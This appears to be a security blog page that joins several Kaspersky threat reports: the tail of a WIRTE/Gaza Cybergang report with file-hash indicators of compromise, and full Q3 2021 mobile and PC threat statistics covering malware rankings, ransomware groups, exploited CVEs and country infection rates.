    Whether WIRTE is a new subgroup or an evolution of existing Gaza Cybergang subgroups, we see them expanding their presence further in cyberspace by using updated and stealthier TTPs. In the near future we expect them to continue compromising their victims using the TTPs discussed in this report.

    Indicators of compromise Malicious documents and droppers ecaaab9e2fc089eefb6accae9750ac60 xls.اللائحة الجنیسیة a7802c9a4046edbcbe3f5a503de61867 doc.1803202155-تعمیم رقم 3a7425539f8853e7b89624890a5de25b saint george bankers & trust business offer.docx 5AE4505A5CA7235C842680C557D05383 slmgr.vbs B2F8CCE7B03E7AA70DAB4A5D377375B5 exhaustedq.txt 8ade05c4b4e98cc89fa09bd513ea1a99 kaspersky update agent.exe Class IDs in registry


    File path


    PDB paths


    Domains and IPs


    2021. november 26.

    IT threat evolution in Q3 2021. Mobile statistics

    These statistics are based on detection verdicts of Kaspersky products received from users who consented to provide statistical data.

    Quarterly figures

    According to Kaspersky Security Network, in Q3 2021:

    • 9,599,519 malware, adware and riskware attacks on mobile devices were prevented.
    • The largest share of all detected mobile threats accrued to RiskTool apps — 65.84%.
    • 676,190 malicious installation packages were detected, of which:
      • 12,097 packages were related to mobile banking Trojans;
      • 6,157 packages were mobile ransomware Trojans.
    Quarterly highlights

    The attackers became somewhat less active from the previous quarter — the number of mobile attacks dropped to 9.6 million. We have seen no new mass campaigns seeking to distribute any specific mobile malware family; nor were there any newsworthy events similar to what we had early into the COVID-19 pandemic.

    Number of attacks targeting users of Kaspersky mobile solutions, Q3 2020 — Q3 2021 (download)

    Yet Q3 brought us quite a few interesting finds at the same time. Thus, one of the modified WhatsApp builds, FMWhatsApp 16.80.0, contained the Trojan Triada along with an advertising SDK. The popularity of WhatsApp builds with extended functionality has secured this Trojan the fifth place in our malware ranking.

    In Q3, new Trojan families emerged, distributed through Google Play. To those we already knew — Trojan.AndroidOS.Jocker and Trojan.AndroidOS.MobOk (signing the user up to paid subscriptions) and Trojan-Dropper.AndroidOS.Necro (downloading payload from the attack server) — two more were added. The first one includes scam apps of Trojan.AndroidOS.Fakeapp variety exploiting the theme of social payments to cajole money out of the user; the second one is the fast growing family Trojan-PSW.AndroidOS.Facestealer stealing Facebook account data.

    Mobile banking Trojans were progressing, too. For example, a curious trick was employed by the family Trojan-Banker.AndroidOS.Fakecalls active in Korea: if the user tries to call the bank, the malware disconnects the real call and plays prerecorded operator’s responses stored in the Trojan’s body.

    Mobile threat statistics

    In Q3 2021, Kaspersky detected 676,190 malicious installation packages — 209,915 less than in the previous quarter and 445,128 less than in Q3 2020.

    Number of detected malicious installation packages, Q3 2020 — Q3 2021 (download)

    Distribution of detected mobile malware by type

    Distribution of newly detected mobile malware by type, Q2 and Q3 2021 (download)

    Two thirds of all threats detected in Q3 2021 came from RiskTool apps (65.84%), their share up by 27.37 p.p. The vast majority of detected apps of this type (91.02%) belonged to the family SMSreg.

    Adware came in second with 21.51% — 12.58 p.p. down from the previous quarter. The malicious objects we most frequently encountered came from the families AdWare.AndroidOS.FakeAdBlocker (34.29% of all detected threats in the category), AdWare.AndroidOS.HiddenAd (30.66%) and AdWare.AndroidOS.MobiDash (8.81%).

    Various Trojans are in third place (2.79%), their share down by 13.69 p.p. The worst offenders were from the families Boogr (48.88%), Piom (11.04%) and Hiddad (7.52%).

    Top 20 mobile malware programs

    Note that the malware rankings below exclude riskware and potentially unwanted software, such as RiskTool or adware.

    Verdict %* 1 DangerousObject.Multi.Generic 33.02 2 Trojan-SMS.AndroidOS.Agent.ado 6.87 3 Trojan.AndroidOS.Whatreg.b 4.41 4 Trojan.AndroidOS.Triada.dq 3.85 5 Trojan.AndroidOS.Triada.ef 3.71 6 Trojan.AndroidOS.Hiddad.gx 3.70 7 DangerousObject.AndroidOS.GenericML 3.68 8 Trojan.AndroidOS.Agent.vz 3.63 9 Trojan-Downloader.AndroidOS.Necro.d 3.56 10 Trojan-Dropper.AndroidOS.Hqwar.bk 3.43 11 Trojan-SMS.AndroidOS.Fakeapp.b 3.35 12 Trojan.AndroidOS.MobOk.ad 3.13 13 Trojan.AndroidOS.Triada.el 2.76 14 Trojan-Downloader.AndroidOS.Agent.kx 2.21 15 Trojan-Dropper.AndroidOS.Hqwar.gen 1.74 16 Trojan-Downloader.AndroidOS.Gapac.e 1.71 17 Trojan-Dropper.AndroidOS.Agent.rp 1.66 18 Exploit.AndroidOS.Lotoor.be 1.66 19 Trojan.AndroidOS.Fakeapp.dn 1.64 20 Trojan-SMS.AndroidOS.Prizmes.a 1.53

    * Unique users attacked by this malware as a percentage of all attacked users of Kaspersky mobile solutions.

    The first ten threats from the Top 20 in Q3 are those already featured in our rankings earlier.

    First place as usual went to DangerousObject.Multi.Generic (33.02%), the verdict we use for malware detected with cloud technology. This technology comes into play whenever the antivirus databases lack data for detecting a piece of malware, but the company’s cloud already contains information about the object. This is essentially how the latest malware types are detected.

    The Trojan-SMS.AndroidOS.Agent.ado malware — sender of text messages to short premium-rate numbers — has climbed from third to second place (6.87%).

    Third place was taken by Trojan.AndroidOS.Whatreg.b (4.41%) allowing attackers to use the victim’s phone number to register new WhatsApp accounts controlled by them alone.

    The Triada family Trojans are fourth, fifth and thirteenth in our ranking. They download and execute other malware on the infected device. Triada’s victims often suffer from the abovementioned Trojan.AndroidOS.Whatreg.b, as well as Trojan-Downloader.AndroidOS.Necro.d (9th, 3.56%), Trojan-Downloader.AndroidOS.Gapac.e (16th, 1.71%) and Trojan-Dropper.AndroidOS.Agent.rp (17th, 1.66%), all of which likely belong to the same campaign.

    Trojan.AndroidOS.Hiddad.gx (3.70%), a source of annoying ads, rose to sixth position.

    Seventh place was taken by DangerousObject.AndroidOS.GenericML (3.68%). These verdicts are assigned to files recognized as malicious by our machine-learning systems.

    The malware Trojan.AndroidOS.Agent.vz (3.63%) — similarly to Triada, a link in the infection chain of various Trojans — dropped into eighth.

    Tenth and fifteenth places were taken by members of the family Trojan-Dropper.AndroidOS.Hqwar — a dropper used to unpack and execute various banking Trojans on the target device.

    The newcomer Trojan-SMS.AndroidOS.Fakeapp.b came eleventh (3.35%). This mobile malware can text and call preset numbers, show ads, and conceal its icon. Most users attacked by the Trojan are from Russia.

    Trojan.AndroidOS.MobOk.ad (3.13%) that signs users up to paid services dropped into twelfth.

    The adware downloader Trojan-Downloader.AndroidOS.Agent.kx (2.21%) rose to fourteenth.

    Exploit.AndroidOS.Lotoor.be (1.66%), an exploit used for elevating privileges on the device to superuser level, came eighteenth. Members of this family often come bundled with other widespread malware like Triada and Necro.

    Trojan.AndroidOS.Fakeapp.dn (1.64%), another new arrival, takes the nineteenth place. This is a scam app exploiting the theme of social payments: it opens fake pages prompting users to provide their personal data and pay a fee to receive money.

    The Top 20 is rounded out by Trojan-SMS.AndroidOS.Prizmes.a (1.53%), which is preinstalled on some Android devices under the guise of Sound Recorder. The Trojan texts preset numbers reporting the events taking place on the device (e.g., smartphone power on).

    Geography of mobile threats

    Map of infection attempts by mobile malware, Q3 2021 (download)

    Top 10 countries by share of users attacked by mobile malware

    Country* %** 1 Iran 20.14 2 Saudi Arabia 17.84 3 China 17.07 4 Algeria 16.73 5 India 15.33 6 Malaysia 13.63 7 Ecuador 11.52 8 Brazil 11.15 9 Bangladesh 10.81 10 Nigeria 10.81

    * Excluded from the rankings are countries with relatively few users of Kaspersky mobile security solutions (under 10,000).
    ** Share of unique users attacked as a percentage of all users of Kaspersky mobile security solutions in the country.

    In Q3 2021, the infected systems percentage ranking is led by the same countries as in Q2; the most popular threats in these countries are likewise the same. First place went to Iran (20.14%), its prevailing threat represented by annoying adware modules of the families AdWare.AndroidOS.Notifyer and AdWare.AndroidOS.Fyben.

    In Saudi Arabia, which came second with 17.84%, AdWare.AndroidOS.HiddenAd and AdWare.AndroidOS.FakeAdBlocker adware were the most common issue.

    China (17.07%) came third with Trojan.AndroidOS.Najin.a as its most widely spread Trojan.

    Mobile banking Trojans

    We detected 12,097 mobile banking Trojan installers during the reporting period — 12,507 less from Q2 and 22,813 less year on year.

    The largest contributors to these figures were the families Trojan-Banker.AndroidOS.Agent (46.72% of all banking Trojans detected), Trojan-Banker.AndroidOS.Bian (16.18%) and Trojan-Banker.AndroidOS.Anubis (8.20%).

    Number of installation packages for mobile banking Trojans detected by Kaspersky, Q3 2020 – Q3 2021 (download)

    Ten most common mobile bankers

    Verdict %* 1 Trojan-Banker.AndroidOS.Anubis.t 16.77 2 Trojan-Banker.AndroidOS.Svpeng.q 11.17 3 Trojan-Banker.AndroidOS.Bian.f 9.08 4 Trojan-Banker.AndroidOS.Agent.eq 6.83 5 Trojan-Banker.AndroidOS.Asacub.ce 6.22 6 Trojan-Banker.AndroidOS.Agent.ep 5.17 7 Trojan-Banker.AndroidOS.Hqwar.t 3.53 8 Trojan-Banker.AndroidOS.Agent.cf 3.05 9 Trojan-Banker.AndroidOS.Bian.h 2.83 10 Trojan-Banker.AndroidOS.Svpeng.t 2.81

    * Unique users attacked by this malware as a percentage of all Kaspersky mobile security solution users who encountered banking threats.

    In Q3 2021, first place in our top mobile bankers ranking was taken by the Anubis family’s Trojan-Banker.AndroidOS.Anubis.t (16.77%). In second (11.17%) and tenth (2.81%) are bankers of the Svpeng family. Bian family bankers are in third (9.08%) and ninth (2.83%).

    Geography of mobile banking threats, Q3 2021 (download)

    Top 10 countries by share of users attacked by mobile banking Trojans

    Country* %** 1 Spain 1.02 2 Austria 0.44 3 Croatia 0.43 4 Germany 0.33 5 Japan 0.26 6 Turkey 0.22 7 Portugal 0.20 8 Norway 0.20 9 China 0.18 10 Switzerland 0.14

    * Excluded from the rankings are countries with relatively few users of Kaspersky mobile security solutions (under 10,000).
    ** Unique users attacked by mobile banking Trojans as a percentage of all Kaspersky mobile security solution users in the country.

    Spain has the largest share of unique users attacked by mobile financial threats in Q3 2021 (1.02%). The prevalent banker detected in this country is Trojan-Banker.AndroidOS.Bian.h (33.55% of all banking Trojans detected). Austria (0.44%) is second with another Bian family representative — Trojan-Banker.AndroidOS.Bian.f (96.02%) — leading by a mile. Croatia (0.43%) is third with Bian.f (97.59%) as its most widely spread banker.

    Mobile ransomware Trojans

    In Q3 2021, we detected 6,157 installation packages for mobile ransomware Trojans — an increase of 2,534 from the previous quarter and 635 more than in Q3 2020.

    Number of mobile ransomware installers detected by Kaspersky, Q3 2020 — Q3 2021 (download)

    Top 10 most common mobile ransomware

    Verdict %* 1 Trojan-Ransom.AndroidOS.Pigetrl.a 51.00 2 Trojan-Ransom.AndroidOS.Rkor.ax 10.43 3 Trojan-Ransom.AndroidOS.Rkor.bb 8.58 4 Trojan-Ransom.AndroidOS.Rkor.az 5.31 5 Trojan-Ransom.AndroidOS.Rkor.bc 4.64 6 Trojan-Ransom.AndroidOS.Rkor.ay 4.49 7 Trojan-Ransom.AndroidOS.Small.as 3.92 8 Trojan-Ransom.AndroidOS.Rkor.ba 2.30 9 Trojan-Ransom.AndroidOS.Rkor.au 1.72 10 Trojan-Ransom.AndroidOS.Rkor.aw 1.41

    * Unique users attacked by the malware as a percentage of all Kaspersky mobile security solution users attacked by ransomware Trojans.

    Same as in Q2, this time the ransomware Trojans ranking is led by Trojan-Ransom.AndroidOS.Pigetrl.a — 51% of all attacked users. Most of its attacks (92%) were targeting users from Russia.

    Geography of mobile ransomware Trojans, Q3 2021 (download)

    Top 10 countries by share of users attacked by mobile ransomware Trojans

    Country* %** 1 Kazakhstan 0.57 2 Sweden 0.22 3 Kyrgyzstan 0.21 4 Morocco 0.06 5 China 0.06 6 Saudi Arabia 0.05 7 Uzbekistan 0.04 8 Algeria 0.04 9 Pakistan 0.02 10 Egypt 0.02

    * Excluded from the rating are countries with relatively few users of Kaspersky mobile security solutions (under 10,000).
    ** Unique users attacked by ransomware Trojans as a percentage of all Kaspersky mobile security solution users in the country.

    Countries leading by number of users attacked by mobile ransomware Trojans are the same as in Q2: Kazakhstan (0.57%), Sweden (0.22%) and Kyrgyzstan (0.21%). In all three the Trojan-Ransom.AndroidOS.Rkor family Trojans were the most common threat.

    2021. november 26.

    IT threat evolution in Q3 2021. PC statistics

    These statistics are based on detection verdicts of Kaspersky products received from users who consented to providing statistical data.

    Quarterly figures

    According to Kaspersky Security Network, in Q3 2021:

    • Kaspersky solutions blocked 1,098,968,315 attacks from online resources across the globe.
    • Web Anti-Virus recognized 289,196,912 unique URLs as malicious.
    • Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 104,257 unique users.
    • Ransomware attacks were defeated on the computers of 108,323 unique users.
    • Our File Anti-Virus detected 62,577,326 unique malicious and potentially unwanted objects.
    Financial threats Financial threat statistics

    In Q3 2021, Kaspersky solutions blocked the launch of at least one piece of banking malware on the computers of 104,257 unique users.

    Number of unique users attacked by financial malware, Q3 2021 (download)

    Geography of financial malware attacks

    To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country.

    Geography of financial malware attacks, Q3 2021 (download)

    Top 10 countries by share of attacked users

    Country* %** 1 Turkmenistan 5.4 2 Tajikistan 3.7 3 Afghanistan 3.5 4 Uzbekistan 3.0 5 Yemen 1.9 6 Kazakhstan 1.6 7 Paraguay 1.6 8 Sudan 1.6 9 Zimbabwe 1.4 10 Belarus 1.1

    * Excluded are countries with relatively few Kaspersky product users (under 10,000).
    ** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country.

    Top 10 banking malware families

    Name Verdicts %* 1 Zbot Trojan.Win32.Zbot 17.7 2 SpyEye Trojan-Spy.Win32.SpyEye 17.5 3 CliptoShuffler Trojan-Banker.Win32.CliptoShuffler 9.6 4 Trickster Trojan.Win32.Trickster 4.5 5 RTM Trojan-Banker.Win32.RTM 3.6 6 Nimnul Virus.Win32.Nimnul 3.0 7 Gozi Trojan-Banker.Win32.Gozi 2.7 8 Danabot Trojan-Banker.Win32.Danabot 2.4 9 Tinba Trojan-Banker.Win32.Tinba 1.5 10 Cridex Backdoor.Win32.Cridex 1.3

    * Unique users who encountered this malware family as a percentage of all users attacked by financial malware.

    In Q3, the family ZeuS/Zbot (17.7%), as usual, became the most widespread family of bankers. Next came the SpyEye (17.5%) family, whose share doubled from 8.8% in the previous quarter. The Top 3 was rounded out by the CliptoShuffler family (9.6%) — one position and just 0.3 p.p. down. The families Trojan-Banker.Win32.Gozi (2.7%) and Trojan-Banker.Win32.Tinba (1.5%) have made it back into the Top 10 in Q3 — seventh and ninth places, respectively.

    Ransomware programs Quarterly trends and highlights Attack on Kaseya and the REvil story

    In early July, the group REvil/Sodinokibi attempted an attack on the remote administration software Kaseya VSA, compromising several managed services providers (MSP) who used this system. Thanks to this onslaught on the supply chain, the attackers were able to infect over one thousand of the compromised MSPs’ client businesses. REvil’s original $70 million ransom demand in exchange for decryption of all the users hit by the attack was soon moderated to 50 million.

    Following this massive attack, law enforcement agencies stepped up their attention to REvil, so by mid-July the gang turned off their Trojan infrastructure, suspended new infections and dropped out of sight. Meanwhile, Kaseya got a universal decryptor for all those affected by the attack. According to Kaseya, it “did not pay a ransom — either directly or indirectly through a third party”. Later it emerged that the company got the decryptor and the key from the FBI.

    But already in the first half of September, REvil was up and running again. According to the hacking forum XSS, the group’s former public representative known as UNKN “disappeared”, and the malware developers, failing to find him, waited awhile and restored the Trojan infrastructure from backups.

    The arrival of BlackMatter: DarkSide restored?

    As we already wrote in our Q2 report, the group DarkSide folded its operations after their “too high-profile” attack on Colonial Pipeline. And now there is a “new” arrival known as BlackMatter, which, as its members claim, represents the “best” of DarkSide, REvil and LockBit.

    From our analysis of the BlackMatter Trojan’s executable we conclude that most likely it was built using DarkSide’s source codes.

    Q3 closures
    • Europol and the Ukrainian police have arrested two members of an unnamed ransomware gang. The only detail made known is that the ransom demands amounted to €5 to €70 million.
    • Following its attack on Washington DC’s Metropolitan Police Department, the group Babuk folded (or just suspended) its operations and published an archive containing the Trojan’s source code, build tools and keys for some of the victims.
    • At the end of August, Ragnarok (not to be confused with RagnarLocker) suddenly called it a day, deleted all their victims’ info from their portal and published the master key for decryption. The group gave no reasons for this course of action.
    Exploitation of vulnerabilities and new attack methods
    • The group HelloKitty used to distribute its ransomware by exploiting the vulnerability CVE-2019-7481 in SonicWall gateways.
    • Magniber and Vice Society penetrated the target systems by exploiting the vulnerabilities from the PrintNightmare family (CVE-2021-1675, CVE-2021-34527, CVE-2021-36958).
    • The group LockFile exploited ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) to penetrate the victim’s network; for lateral expansion they relied on the new PetitPotam attack that gained control of the domain controller.
    • The group Conti also used ProxyShell exploits for its attacks.
    Number of new ransomware modifications

    In Q3 2021, we detected 11 new ransomware families and 2,486 new modifications of this malware type.

    Number of new ransomware modifications, Q3 2020 — Q3 2021 (download)

    Number of users attacked by ransomware Trojans

    In Q3 2021, Kaspersky products and technologies protected 108,323 users from ransomware attacks.

    Number of unique users attacked by ransomware Trojans, Q3 2021 (download)

    Geography of ransomware attacks

    Geography of attacks by ransomware Trojans, Q3 2021 (download)

    Top 10 countries attacked by ransomware Trojans

    Country* %** 1 Bangladesh 1.98 2 Uzbekistan 0.59 3 Bolivia 0.55 4 Pakistan 0.52 5 Myanmar 0.51 6 China 0.51 7 Mozambique 0.51 8 Nepal 0.48 9 Indonesia 0.47 10 Egypt 0.45

    * Excluded are countries with relatively few Kaspersky users (under 50,000).
    ** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country.

    Top 10 most common families of ransomware Trojans Name Verdicts %* 1 Stop/Djvu Trojan-Ransom.Win32.Stop 27.67% 2 (generic verdict) Trojan-Ransom.Win32.Crypren 17.37% 3 WannaCry Trojan-Ransom.Win32.Wanna 11.84% 4 (generic verdict) Trojan-Ransom.Win32.Gen 7.78% 5 (generic verdict) Trojan-Ransom.Win32.Encoder 5.58% 6 (generic verdict) Trojan-Ransom.Win32.Phny 5.57% 7 PolyRansom/VirLock Virus.Win32.Polyransom / Trojan-Ransom.Win32.PolyRansom 2.65% 8 (generic verdict) Trojan-Ransom.Win32.Agent 2.04% 9 (generic verdict) Trojan-Ransom.MSIL.Encoder 1.07% 10 (generic verdict) Trojan-Ransom.Win32.Crypmod 1.04%

    * Unique Kaspersky users attacked by this family of ransomware Trojans as a percentage of all users attacked by such malware.

    Miners Number of new miner modifications

    In Q3 2021, Kaspersky solutions detected 46,097 new modifications of miners.

    Number of new miner modifications, Q3 2021 (download)

    Number of users attacked by miners

    In Q3, we detected attacks using miners on the computers of 322,131 unique users of Kaspersky products worldwide. And while during Q2 the number of attacked users gradually decreased, the trend was reversed in July and August 2021. With slightly over 140,000 unique users attacked by miners in July, the number of potential victims almost reached 150,000 in September.

    Number of unique users attacked by miners, Q3 2021 (download)

    Geography of miner attacks

    Geography of miner attacks, Q3 2021 (download)

    Top 10 countries attacked by miners

    Country* %** 1 Ethiopia 2.41 2 Rwanda 2.26 3 Myanmar 2.22 4 Uzbekistan 1.61 5 Ecuador 1.47 6 Pakistan 1.43 7 Tanzania 1.40 8 Mozambique 1.34 9 Kazakhstan 1.34 10 Azerbaijan 1.27

    * Excluded are countries with relatively few users of Kaspersky products (under 50,000).
    ** Unique users attacked by miners as a percentage of all unique users of Kaspersky products in the country.

    Vulnerable applications used by cybercriminals during cyberattacks Quarter highlights

    Much clamor was caused in Q3 by a whole new family of vulnerabilities in Microsoft Windows printing subsystem, one already known to the media as PrintNightmare: CVE-2021-1640, CVE-2021-26878, CVE-2021-1675, CVE-2021-34527, CVE-2021-36936, CVE-2021-36947, CVE-2021-34483. All those vulnerabilities allow for local escalation of privileges or remote execution of commands with system rights and, as they require next to nothing for exploitation, they are often used by popular mass infection tools. To fix them, several Microsoft patches are required.

    The vulnerability known as PetitPotam proved no less troublesome. It allows an unprivileged user to take control of a Windows domain computer — or even a domain controller — provided the Active Directory certificate service is present and active.

    In the newest OS Windows 11, even before its official release, the vulnerability CVE-2021-36934 was detected and dubbed HiveNightmare/SeriousSam. It allows an unprivileged user to copy all the registry threads, including SAM, through the shadow copy mechanism, potentially exposing passwords and other critical data.

    In Q3, attackers greatly favored exploits targeting the vulnerabilities ProxyToken, ProxyShell and ProxyOracle (CVE-2021-31207, CVE-2021-34473, CVE-2021-31207, CVE-2021-33766, CVE-2021-31195, CVE-2021-31196). If exploited in combination, these open full control of mail servers managed by Microsoft Exchange Server. We already covered similar vulnerabilities — for instance, they were used in a HAFNIUM attack, also targeting Microsoft Exchange Server.

    As before, server attacks relying on brute-forcing of passwords to various network services, such as MS SQL, RDP, etc., stand out among Q3 2021 network threats. Attacks using the exploits EternalBlue, EternalRomance and similar are as popular as ever. Among the new ones is the grim vulnerability enabling remote code execution when processing the Object-Graph Navigation Language in the product Atlassian Confluence Server (CVE-2021-26084) often used in various corporate environments. Also, Pulse Connect Secure was found to contain the vulnerability CVE-2021-22937, which however requires the administrator password for it to be exploited.


    As before, exploits for Microsoft Office vulnerabilities are still leading the pack in Q3 2021 (60,68%). These are popular due to the large body of users, most of whom still use older versions of the software, thus making the attackers’ job much easier. The share of Microsoft Office exploits increased by almost 5 p.p. from the previous quarter. Among other things, it was due to the fact that the new vulnerability CVE-2021-40444 was discovered in the wild, instantly employed to compromise user machines. The attacker can exploit it by using the standard functionality that allows office documents to download templates, implemented with the help of special ActiveX components. There is no proper validation of the processed data during the operation, so any malicious code can be downloaded. As you are reading this, the relevant security update is already available.

    The way individual Microsoft Office vulnerabilities are ranked by the number of detections does not change much with time: the first positions are still shared by CVE-2018-0802 and CVE-2017-8570, with another popular vulnerability CVE-2017-11882 not far behind. We already covered these many times — all the above-mentioned vulnerabilities execute commands on behalf of the user and infect the system.

    Distribution of exploits used by cybercriminals, by type of attacked application, Q3 2021 (download)

    The share of exploits for the popular browsers fell by 3 p.p. from the previous reporting period to 25.57% in Q3. In the three months covered by the report several vulnerabilities were discovered in Google Chrome browser and its script engine V8 — some of them in the wild. Among these, the following JavaScript engine vulnerabilities stand out: CVE-2021-30563 (type confusion error corrupting the heap memory), CVE-2021-30632 (out-of-bounds write in V8) and CVE-2021-30633 (use-after-free in Indexed DB). All these can potentially allow remote execution of code. But it should be remembered that for modern browsers a chain of several exploits is often required to leave the sandbox and secure broader privileges in the system. It should also be noted that with Google Chromium codebase (in particular the Blink component and V8) being used in many browsers, any newly detected Google Chrome vulnerability automatically makes other browsers built with its open codebase vulnerable.

    The third place if held by Google Android vulnerabilities (5.36%) — 1 p.p. down from the previous period. They are followed by exploits for Adobe Flash (3.41%), their share gradually decreasing. The platform is no longer supported but is still favored by users, which is reflected in our statistics.

    Our ranking is rounded out by vulnerabilities for Java (2.98%), its share also noticeably lower, and Adobe PDF (1.98%).

    Attacks on macOS

    We will remember Q3 2021 for the two interesting revelations. The first one is the use of malware code targeting macOS as part of the WildPressure campaign. The second is the detailed review of the previously unknown FinSpy implants for macOS.

    Speaking of the most widespread threats detected by Kaspersky security solutions for macOS, most of our Top 20 ranking positions are occupied by various adware apps. Among the noteworthy ones is Monitor.OSX.HistGrabber.b (second place on the list) — this potentially unwanted software sends user browser history to its owners’ servers.

    Top 20 threats for macOS

    Verdict %* 1 AdWare.OSX.Pirrit.j 13.22 2 Monitor.OSX.HistGrabber.b 11.19 3 AdWare.OSX.Pirrit.ac 10.31 4 AdWare.OSX.Pirrit.o 9.32 5 AdWare.OSX.Bnodlero.at 7.43 6 Trojan-Downloader.OSX.Shlayer.a 7.22 7 AdWare.OSX.Pirrit.gen 6.41 8 AdWare.OSX.Cimpli.m 6.29 9 AdWare.OSX.Bnodlero.bg 6.13 10 AdWare.OSX.Pirrit.ae 5.96 11 AdWare.OSX.Agent.gen 5.65 12 AdWare.OSX.Pirrit.aa 5.39 13 Trojan-Downloader.OSX.Agent.h 4.49 14 AdWare.OSX.Bnodlero.ay 4.18 15 AdWare.OSX.Ketin.gen 3.56 16 AdWare.OSX.Ketin.h 3.46 17 Backdoor.OSX.Agent.z 3.45 18 Trojan-Downloader.OSX.Lador.a 3.06 19 AdWare.OSX.Bnodlero.t 2.80 20 AdWare.OSX.Bnodlero.ax 2.64

    * Unique users who encountered this malware as a percentage of all users of Kaspersky security solutions for macOS who were attacked.

    Geography of threats for macOS

    Geography of threats for macOS, Q3 2021 (download)

    Top 10 countries by share of attacked users

    Country* %** 1 France 3.05 2 Spain 2.85 3 India 2.70 4 Mexico 2.59 5 Canada 2.52 6 Italy 2.42 7 United States 2.37 8 Australia 2.23 9 Brazil 2.21 10 United Kingdom 2.12

    * Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000).
    ** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country.

    In Q3 2021, France took the lead having the greatest percentage of attacks on users of Kaspersky security solutions (3.05%), with the potentially unwanted software Monitor.OSX.HistGrabber being the prevalent threat there. Spain and India came in second and third, with the Pirrit family adware as their prevalent threat.

    IoT attacks IoT threat statistics

    In Q3 2021, most of the devices that attacked Kaspersky honeypots did so using the Telnet protocol. Just less than a quarter of all devices attempted brute-forcing our traps via SSH.

    Telnet 76.55% SSH 23.45%

    Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q3 2021

    The statistics for working sessions with Kaspersky honeypots show similar Telnet dominance.

    Telnet 84.29% SSH 15.71%

    Distribution of cybercriminal working sessions with Kaspersky traps, Q3 2021

    Top 10 threats delivered to IoT devices via Telnet

    Verdict %* 1 Backdoor.Linux.Mirai.b 39.48 2 Trojan-Downloader.Linux.NyaDrop.b 20.67 3 Backdoor.Linux.Agent.bc 10.00 4 Backdoor.Linux.Mirai.ba 8.65 5 Trojan-Downloader.Shell.Agent.p 3.50 6 Backdoor.Linux.Gafgyt.a 2.52 7 RiskTool.Linux.BitCoinMiner.b 1.69 8 Backdoor.Linux.Ssh.a 1.23 9 Backdoor.Linux.Mirai.ad 1.20 10 HackTool.Linux.Sshbru.s 1.12

    * Share of each threat delivered to infected devices as a result of a successful Telnet attack out of the total number of delivered threats.

    Detailed IoT threat statistics are published in our Q3 2021 DDoS report: https://securelist.com/ddos-attacks-in-q3-2021/104796/#attacks-on-iot-honeypots

    Attacks via web resources

    The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Cybercriminals create such sites on purpose and web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected.

    Countries that serve as sources of web-based attacks: Top 10

    The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites hosting malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks.

    To determine the geographic source of web attacks, the GeoIP technique was used to match the domain name to the real IP address at which the domain is hosted.

    In Q3 2021, Kaspersky solutions blocked 1,098,968,315 attacks launched from online resources located across the globe. Web Anti-Virus recognized 289,196,912 unique URLs as malicious.

    Distribution of web-attack sources by country, Q3 2021 (download)

    Countries where users faced the greatest risk of online infection

    To assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.

    This rating only includes attacks by malicious programs that fall under the Malware class; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.

    Country* % of attacked users** 1 Tunisia 27.15 2 Syria 17.19 3 Yemen 17.05 4 Nepal 15.27 5 Algeria 15.27 6 Macao 14.83 7 Belarus 14.50 8 Moldova 13.91 9 Madagascar 13.80 10 Serbia 13.48 11 Libya 13.13 12 Mauritania 13.06 13 Mongolia 13.06 14 India 12.89 15 Palestine 12.79 16 Sri Lanka 12.76 17 Ukraine 12.39 18 Estonia 11.61 19 Tajikistan 11.44 20 Qatar 11.14

    * Excluded are countries with relatively few Kaspersky users (under 10,000).
    ** Unique users targeted by Malware-class attacks as a percentage of all unique users of Kaspersky products in the country.

    These statistics are based on detection verdicts by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data.

    On average during the quarter, 8.72% of computers of Internet users worldwide were subjected to at least one Malware-class web attack.

    Geography of web-based malware attacks, Q3 2021 (download)

    Local threats

    In this section, we analyze statistical data obtained from the OAS and ODS modules in Kaspersky products. It takes into account malicious programs that were found directly on users’ computers or removable media connected to them (flash drives, camera memory cards, phones, external hard drives), or which initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.).

    In Q3 2021, our File Anti-Virus detected 62,577,326 malicious and potentially unwanted objects.

    Countries where users faced the highest risk of local infection

    For each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.

    Note that this rating only includes attacks by malicious programs that fall under the Malware class; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.

    Country* % of attacked users** 1 Turkmenistan 47.42 2 Yemen 44.27 3 Ethiopia 42.57 4 Tajikistan 42.51 5 Uzbekistan 40.41 6 South Sudan 40.15 7 Afghanistan 40.07 8 Cuba 38.20 9 Bangladesh 36.49 10 Myanmar 35.96 11 Venezuela 35.20 12 China 35.16 13 Syria 34.64 14 Madagascar 33.49 15 Rwanda 33.06 16 Sudan 33.01 17 Benin 32.68 18 Burundi 31.88 19 Laos 31.70 20 Cameroon 31.28

    * Excluded are countries with relatively few Kaspersky users (under 10,000).
    ** Unique users on whose computers Malware-class local threats were blocked, as a percentage of all unique users of Kaspersky products in the country.

    Geography of local infection attempts, Q3 2021 (download)

    On average worldwide, Malware-class local threats were recorded on 15.14% of users’ computers at least once during the quarter. Russia scored 14.64% in this rating.

    2021. november 26.

    IT threat evolution Q3 2021

    Targeted attacks WildPressure targets macOS

